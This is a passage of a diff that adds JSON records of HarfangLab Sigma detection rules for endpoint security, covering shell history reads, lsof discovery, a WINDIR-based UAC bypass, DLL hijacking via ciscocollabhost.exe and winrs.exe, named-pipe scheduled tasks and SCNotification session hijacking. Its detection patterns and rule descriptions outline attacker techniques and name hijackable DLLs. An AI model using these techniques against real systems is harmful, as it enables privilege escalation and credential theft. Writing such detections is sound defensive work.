ProcessSignatureSigningId: 'pmd'\n        ProcessSigned: 'true'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7dfd0c62-de07-4ea0-a8e7-2abe922f07b1",
+  "rule_name": "Shell History File Read (macOS)",
+  "rule_description": "Detects an attempt to read any of the common shell history files.\nThose files contains the most recent commands executed by the user and can be used by an attacker to look for unsecured credentials.\nIt is recommended to verify if the process performing the read operation has legitimate reason to do it.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1552.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7e00d26e-2a2d-476a-a23e-27322ed7ad2c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.548171Z",
+  "creation_date": "2026-03-23T11:45:34.095044Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095048Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://man7.org/linux/man-pages/man8/lsof.8.html",
+    "https://attack.mitre.org/techniques/T1049/"
+  ],
+  "name": "t1049_lsof_linux.yml",
+  "content": "title: Currently Open Files Listed via Lsof (Linux)\nid: 7e00d26e-2a2d-476a-a23e-27322ed7ad2c\ndescription: |\n    Detects the execution of the lsof utility to list all opened files on the system, especially files representing active network connections.\n    Attackers may use it during discovery phase to discover remote systems.\n    It is recommended to monitor the patterns used with lsof and investigate other discovery alerts to determine if this is malicious activity.\nreferences:\n    - https://man7.org/linux/man-pages/man8/lsof.8.html\n    - https://attack.mitre.org/techniques/T1049/\ndate: 2022/12/23\nmodified: 2026/03/20\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1049\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/lsof'\n        CommandLine:\n            - 'lsof'\n            - 'lsof -i'\n        # Filter-out missing parents\n        ParentImage|contains: '?'\n\n    exclusion_commandline:\n        ParentCommandLine|startswith:\n            - '/bin/sh -c lsof | awk '\n            - 'sh -c lsof 2>/dev/null | grep /home/'\n            - '/bin/ksh /opt/tomcat/*.ksh '\n            - '/bin/bash /opt/tomcat/*.ksh '\n            - '/bin/bash /tmp/apache/*.ksh '\n            - '/bin/ksh /opt/apache/*.ksh '\n            - '/bin/bash /opt/apache/*.ksh '\n\n    exclusion_insights:\n        ParentImage: '/usr/bin/timeout'\n        GrandparentCommandLine:\n            - '/usr/bin/python /bin/redhat-access-insights --quiet'\n            - 'python -m insights.tools.cat --no-header httpd_on_nfs'\n            - '/usr/libexec/platform-python /usr/lib/python*/site-packages/insights_client/run.py --retry 3'\n\n    exclusion_nuagent:\n        ParentImage: '/opt/ds_agent/nuagent/ds_nuagent'\n\n    exclusion_rapid7:\n        ParentCommandLine|startswith: \"/bin/bash -c echo 'Rapid7Echo'; (LANG=C;LANGUAGE=\"\n\n    # https://github.com/ansible/awx\n    exclusion_ansibleawx:\n        User: 'ansibleawx'\n        GrandparentCommandLine: 'sshd: ansibleawx@notty'\n\n    # template_exclusion_ansible:\n\n    exclusion_ansible_current_directory:\n        CurrentDirectory:\n            - '/home/ansible/'\n            - '/root/.ansible/tmp/'\n\n    exclusion_qualys:\n        Ancestors|contains:\n            - '|/usr/local/qualys/cloud-agent/bin/qualys-scan-util|'\n            - '|/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent|'\n\n    exclusion_udascan:\n        GrandparentImage: '/opt/microfocus/Discovery/.discagnt/udscan'\n\n    exclusion_mdatp:\n        - User: 'mdatp'\n          CurrentDirectory: '/opt/microsoft/mdatp/sbin/'\n        - ParentImage: '/opt/microsoft/mdatp/sbin/wdavdaemon'\n        - ParentCommandLine|contains: '/opt/microsoft/mdatp/conf/scripts/open_files.py'\n        - GrandparentImage: '/opt/microsoft/mdatp/sbin/wdavdaemon'\n        - GrandparentCommandLine|contains: '/opt/microsoft/mdatp/conf/scripts/open_files.py'\n\n    exclusion_oracle_ahf_tfa:\n        ParentImage: '/opt/oracle.ahf/jre/bin/java'\n        ParentCommandLine|contains: 'oracle.rat.tfa.TFAMain /opt/oracle.ahf/tfa'\n\n    exclusion_oracle_diagsnap:\n        ParentImage:\n            - '/usr/bin/bash'\n            - '/bin/sh'\n        # /u01/app/grid/19.9.0.0/perl/bin/perl /u01/app/grid/19.9.0.0/bin/diagsnap.pl start\n        GrandparentImage|endswith: '/perl/bin/perl'\n        GrandparentCommandLine|contains: '/bin/diagsnap.pl'\n\n    exclusion_lynis:\n        ParentCommandLine:\n            - '/bin/sh ./lynis audit system'\n            - '/bin/sh /usr/bin/lynis audit system --cronjob'\n            - '/bin/sh /usr/sbin/lynis --quick --no-colors*'\n\n    exclusion_insights_client:\n        - ParentCommandLine|startswith:\n            - '/usr/libexec/platform-python /usr/lib/python*/site-packages/insights_client/run.py '\n            - '/usr/bin/python /usr/lib/python*/site-packages/insights_client/run.py '\n        - GrandparentCommandLine|startswith:\n            - '/usr/libexec/platform-python /usr/lib/python*/site-packages/insights_client/run.py '\n            - '/usr/bin/python /usr/lib/python*/site-packages/insights_client/run.py '\n\n    exclusion_sosreport:\n        - GrandparentCommandLine: '/usr/bin/python /usr/sbin/sosreport'\n        - GrandparentCommandLine|startswith: '/usr/bin/python /usr/sbin/sosreport '\n\n    exclusion_rkhunter:\n        - ProcessParentCommandLine|contains:\n            - '/usr/bin/rkhunter '\n            - '/bin/sh /etc/cron.daily/rkhunter'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/rkhunter '\n\n    exclusion_fsecure:\n        - ProcessParentCommandLine|startswith: '/bin/bash /opt/f-secure/'\n        - ProcessGrandparentCommandLine|startswith: '/bin/bash /opt/f-secure/'\n\n    exclusion_ninjarmmagent:\n        ProcessParentImage: '/opt/ninjarmmagent/programfiles/ninjarmm-linagent'\n\n    exclusion_manageengine:\n        ParentImage:\n            - '/usr/local/manageengine/uems_agent/bin/dcconfig'\n            - '/usr/local/manageengine/uems_agent/bin/dcpatchscan'\n\n    exclusion_zabbix:\n        - Ancestors|contains: '/usr/sbin/zabbix_agentd'\n        - GrandparentImage: '/usr/sbin/zabbix_agent2'\n\n    exclusion_veeam:\n        ParentImage:\n            - '/opt/veeam/transport/veeamtransport'\n            - '/opt/veeam/deployment/veeamdeploymentsvc'\n\n    exclusion_veritas:\n        Ancestors|contains: '|/opt/VRTSvcs/bin/Application/ApplicationAgent|'\n\n    exclusion_jumpcloud:\n        ParentImage: '/opt/jc/bin/jumpcloud-agent'\n\n    exclusion_xymon:\n        Ancestors|contains: '|/usr/lib/xymon/client/bin/xymonlaunch|'\n\n    exclusion_munin:\n        GrandparentCommandLine|startswith: '/usr/bin/perl -w /etc/munin/plugins/'\n\n    exclusion_nagios:\n        Ancestors|contains:\n            - '|/usr/sbin/nrpe|'\n            - '|/opt/nagiosagent/*/perl/bin/perl|'\n\n    exclusion_bladelogic:\n        ProcessGrandparentImage:\n            - '/opt/bmc/bladelogic/RSCD/bin/rscd_full'\n            - '/opt/bladelogic/*/NSH/bin/rscd_full'\n\n    exclusion_cursor:\n        Ancestors|contains: '|/tmp/.mount_Cursor*/usr/share/cursor/cursor|/'\n\n    exclusion_container:\n        Ancestors|contains: '|/usr/bin/containerd-shim-runc-v2|'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7e00d26e-2a2d-476a-a23e-27322ed7ad2c",
+  "rule_name": "Currently Open Files Listed via Lsof (Linux)",
+  "rule_description": "Detects the execution of the lsof utility to list all opened files on the system, especially files representing active network connections.\nAttackers may use it during discovery phase to discover remote systems.\nIt is recommended to monitor the patterns used with lsof and investigate other discovery alerts to determine if this is malicious activity.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2026-03-20",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1049"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7e0790b6-dbc2-4252-bd87-d553bb718f71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610260Z",
+  "creation_date": "2026-03-23T11:45:34.610263Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610270Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/"
+  ],
+  "name": "t1548_windir_environment_variable_modification.yml",
+  "content": "title: WINDIR User Environment Variable Modified\nid: 7e0790b6-dbc2-4252-bd87-d553bb718f71\ndescription: |\n    Detects the modification of the WINDIR user environment variable.\n    The WINDIR environment variable is not defined by default in the user environment variables.\n    The modification of this variable can be related to a UAC bypass using the DiskCleanup scheduled task.\n    It is recommended to investigate the process that changed the value, as well as its parent for any suspicious activity.\nreferences:\n    - https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/\ndate: 2020/10/09\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set_value:\n        EventType: 'SetValue'\n        TargetObject: 'HKU\\\\*\\Environment\\windir'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    filter_windows:\n        Details: '?:\\WINDOWS'\n\n    selection_rename:\n        EventType: 'RenameKey'\n        NewName: 'HKU\\\\*\\Environment\\windir'\n\n    condition: (selection_set_value and not 1 of filter_*) or selection_rename\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7e0790b6-dbc2-4252-bd87-d553bb718f71",
+  "rule_name": "WINDIR User Environment Variable Modified",
+  "rule_description": "Detects the modification of the WINDIR user environment variable.\nThe WINDIR environment variable is not defined by default in the user environment variables.\nThe modification of this variable can be related to a UAC bypass using the DiskCleanup scheduled task.\nIt is recommended to investigate the process that changed the value, as well as its parent for any suspicious activity.\n",
+  "rule_creation_date": "2020-10-09",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7e1dd922-2be2-484d-b721-57f2d4be98dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589123Z",
+  "creation_date": "2026-03-23T11:45:34.589127Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589134Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ciscocollabhost.yml",
+  "content": "title: DLL Hijacking via ciscocollabhost.exe\nid: 7e1dd922-2be2-484d-b721-57f2d4be98dd\ndescription: |\n    Detects potential Windows DLL Hijacking via ciscocollabhost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/11/09\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'CiscoCollabHost.exe'\n        ProcessSignature: 'Cisco Systems, Inc.'\n        ImageLoaded|endswith: '\\ciscosparklauncher.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Cisco Spark\\'\n            - '?:\\Program Files\\Cisco Spark\\'\n            - '?:\\Program Files (x86)\\Cisco Spark\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Cisco Spark\\'\n            - '?:\\Program Files\\Cisco Spark\\'\n            - '?:\\Program Files (x86)\\Cisco Spark\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Cisco Systems, Inc.'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7e1dd922-2be2-484d-b721-57f2d4be98dd",
+  "rule_name": "DLL Hijacking via ciscocollabhost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ciscocollabhost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-11-09",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7e34add6-fb2b-4c0f-b6f2-e76d5930ab5a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599940Z",
+  "creation_date": "2026-03-23T11:45:34.599943Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599951Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_winrs.yml",
+  "content": "title: DLL Hijacking via winrs.exe\nid: 7e34add6-fb2b-4c0f-b6f2-e76d5930ab5a\ndescription: |\n    Detects potential Windows DLL Hijacking via winrs.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'winrs.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DSROLE.dll'\n            - '\\mi.dll'\n            - '\\miutils.dll'\n            - '\\wsmsvc.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7e34add6-fb2b-4c0f-b6f2-e76d5930ab5a",
+  "rule_name": "DLL Hijacking via winrs.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via winrs.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7e47bfec-3c33-40d7-8d74-c89094ba1371",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625535Z",
+  "creation_date": "2026-03-23T11:45:34.625537Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625541Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1053/005/",
+    "https://attack.mitre.org/techniques/T1059/003/"
+  ],
+  "name": "t1053_scheduled_task_pipe_commandline.yml",
+  "content": "title: Scheduled Task with Named Pipe in Action Created\nid: 7e47bfec-3c33-40d7-8d74-c89094ba1371\ndescription: |\n    Detects a scheduled task being created with one of the actions outputting to a named pipe.\n    It is common for attackers to create a scheduled task that launches a script or command that sends its output to a named pipe. This allows attackers to evade defenses by decorrelating usual parent-child relationships to make analysis harder.\n    It is recommended to investigate the process that created the scheduled task and the scheduled task itself as well as any spawned processes to determine if they are legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1053/005/\n    - https://attack.mitre.org/techniques/T1059/003/\ndate: 2025/12/16\nmodified: 2025/12/22\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - attack.execution\n    - attack.t1059.003\n    - attack.t1159\n    - classification.Windows.Source.ScheduledTask\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: scheduled_task\ndetection:\n    selection:\n        OperationType:\n            - 'create'\n            - 'update'\n        FirstActionCommandLine|contains: '\\pipe\\'\n\n    exclusion_ms_restart_manager:\n        FirstActionCommandLine|contains|all:\n            - '?:\\Windows\\system32\\rmclient.exe'\n            - '\\pipe\\RestartManager-{????????-????-????-????-????????????}'\n\n    exclusion_mssql_query:\n        FirstActionCommandLine|contains|all:\n            - '\\Microsoft SQL Server\\SQLCMD\\SQLCMD.exe'\n            - '-S \\\\.\\pipe\\Microsoft##WID\\tsql\\query'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7e47bfec-3c33-40d7-8d74-c89094ba1371",
+  "rule_name": "Scheduled Task with Named Pipe in Action Created",
+  "rule_description": "Detects a scheduled task being created with one of the actions outputting to a named pipe.\nIt is common for attackers to create a scheduled task that launches a script or command that sends its output to a named pipe. This allows attackers to evade defenses by decorrelating usual parent-child relationships to make analysis harder.\nIt is recommended to investigate the process that created the scheduled task and the scheduled task itself as well as any spawned processes to determine if they are legitimate.\n",
+  "rule_creation_date": "2025-12-16",
+  "rule_modified_date": "2025-12-22",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005",
+    "attack.t1059.003",
+    "attack.t1159"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7ee4cf79-a255-401f-9014-daf70499ceee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072811Z",
+  "creation_date": "2026-03-23T11:45:34.072813Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072817Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cloud.google.com/blog/topics/threat-intelligence/windows-session-hijacking-via-ccmexec?hl=en",
+    "https://github.com/mandiant/ccmpwn",
+    "https://attack.mitre.org/techniques/T1072/"
+  ],
+  "name": "t1072_scnotification_process_exec.yml",
+  "content": "title: Windows Session Hijacking via SCNotification.exe\nid: 7ee4cf79-a255-401f-9014-daf70499ceee\ndescription: |\n    Detects the execution of an uncommon process by SCNotification.exe.\n    Adversaries may abuse SCNotification.exe by modifying its configuration to execute an AppDomainManager payload and execute arbitrary commands.\n    It is recommended to check the content of the SCNotification.exe.config file in the same folder that the SCNotification.exe executable to identify any malicious content and check actions made by the child process.\nreferences:\n    - https://cloud.google.com/blog/topics/threat-intelligence/windows-session-hijacking-via-ccmexec?hl=en\n    - https://github.com/mandiant/ccmpwn\n    - https://attack.mitre.org/techniques/T1072/\ndate: 2024/07/31\nmodified: 2025/06/16\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.lateral_movement\n    - attack.t1072\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Hijacking\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\SCNotification.exe'\n        # If we cannot read info about the file, we can't verify the signature\n        ProcessSha256|contains: '?'\n\n    filter_legitimate:\n        - Image:\n            - '?:\\Windows\\System32\\werfault.exe'\n            - '?:\\WINDOWS\\SysWOW64\\WerFault.exe'\n        - Image|endswith:\n            - '\\SCNotification.exe'\n            - '\\SCClient.exe'\n            - '\\SCToastNotification.exe'\n          Signed: 'true'\n          ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_edge:\n        CommandLine|contains: '\\Microsoft\\Edge\\Application\\msedge.exe --single-argument http://go.microsoft.com/fwlink/'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7ee4cf79-a255-401f-9014-daf70499ceee",
+  "rule_name": "Windows Session Hijacking via SCNotification.exe",
+  "rule_description": "Detects the execution of an uncommon process by SCNotification.exe.\nAdversaries may abuse SCNotification.exe by modifying its configuration to execute an AppDomainManager payload and execute arbitrary commands.\nIt is recommended to check the content of the SCNotification.exe.config file in the same folder that the SCNotification.exe executable to identify any malicious content and check actions made by the child process.\n",
+  "rule_creation_date": "2024-07-31",
+  "rule_modified_date": "2025-06-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1072"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
